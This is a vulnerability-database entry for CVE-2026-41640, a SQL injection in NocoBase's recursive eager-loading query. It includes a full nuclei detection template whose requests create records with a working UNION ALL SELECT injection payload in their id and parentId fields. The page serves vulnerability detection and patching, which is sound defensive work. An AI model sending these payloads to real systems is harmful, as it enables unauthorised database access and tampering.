Browse / CVEs / CVE-2026-41640
CVE-2026-41640· nocobase / nocobase· CWE-89
NocoBase - SQL Injection
NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.
Fix
Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.
How to confirm it
Send: POST /api/auth:signIn
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: POST /api/collections:create ; POST /api/{{cname}}:create
Positive when: status_code == 200
Send: GET /api/{{cname}}:list?appends[]=parent(recursively%3Dtrue)&pageSize=100
Positive when: status_code == 500 and contains(body, "invalid input syntax for type integer")
Send: GET {{BaseURL}}/api/app:getInfo
Positive when: status_code == 200 and contains_all(body, "\"dialect\"", "\"version\"") and compare_versions(version, "<=2.0.32")Run it with nuclei: nuclei -id CVE-2026-41640 -u <target>
The full check
id: CVE-2026-41640
info:
name: NocoBase - SQL Injection
author: theamanrawat
severity: high
description: |
NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.
remediation:
Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.
reference:
- https://github.com/advisories/GHSA-4948-f92q-f432
- https://nvd.nist.gov/vuln/detail/CVE-2026-41640
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.5
cve-id: CVE-2026-41640
epss-score: 0.01875
epss-percentile: 0.79576
cwe-id: CWE-89
metadata:
max-request: 7
verified: true
vendor: nocobase
product: nocobase
tags: cve,cve2026,sqli,nocobase,sqli,authenticated
flow: http(1) && http(2) && http(3) || http(4)
variables:
cname: "{{to_lower(rand_base(8))}}"
http:
- raw:
- |
POST /api/auth:signIn HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"account":"{{username}}","password":"{{password}}"}
extractors:
- type: regex
name: token
part: body
internal: true
regex:
- '"token":"([^"]+)"'
group: 1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
POST /api/collections:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"name":"{{cname}}","tree":"adjacencyList","fields":[{"name":"id","type":"string","primaryKey":true,"interface":"input"},{"name":"title","type":"string","interface":"input"},{"name":"parent","type":"belongsTo","target":"{{cname}}","foreignKey":"parentId","targetKey":"id","treeParent":true},{"name":"children","type":"hasMany","target":"{{cname}}","foreignKey":"parentId","sourceKey":"id","treeChildren":true}]}
- |
POST /api/{{cname}}:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"id":"safe_root","title":"Root Node"}
- |
POST /api/{{cname}}:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"id":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1","title":"injection","parentId":"safe_root"}
- |
POST /api/{{cname}}:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"id":"leaf_node","title":"leaf","parentId":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
GET /api/{{cname}}:list?appends[]=parent(recursively%3Dtrue)&pageSize=100 HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains(body, "invalid input syntax for type integer")'
condition: and
- method: GET
path:
- "{{BaseURL}}/api/app:getInfo"
extractors:
- type: regex
name: version
part: body
regex:
- '"version":"(.*?)"'
group: 1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"dialect\"", "\"version\"")'
- 'compare_versions(version, "<=2.0.32")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from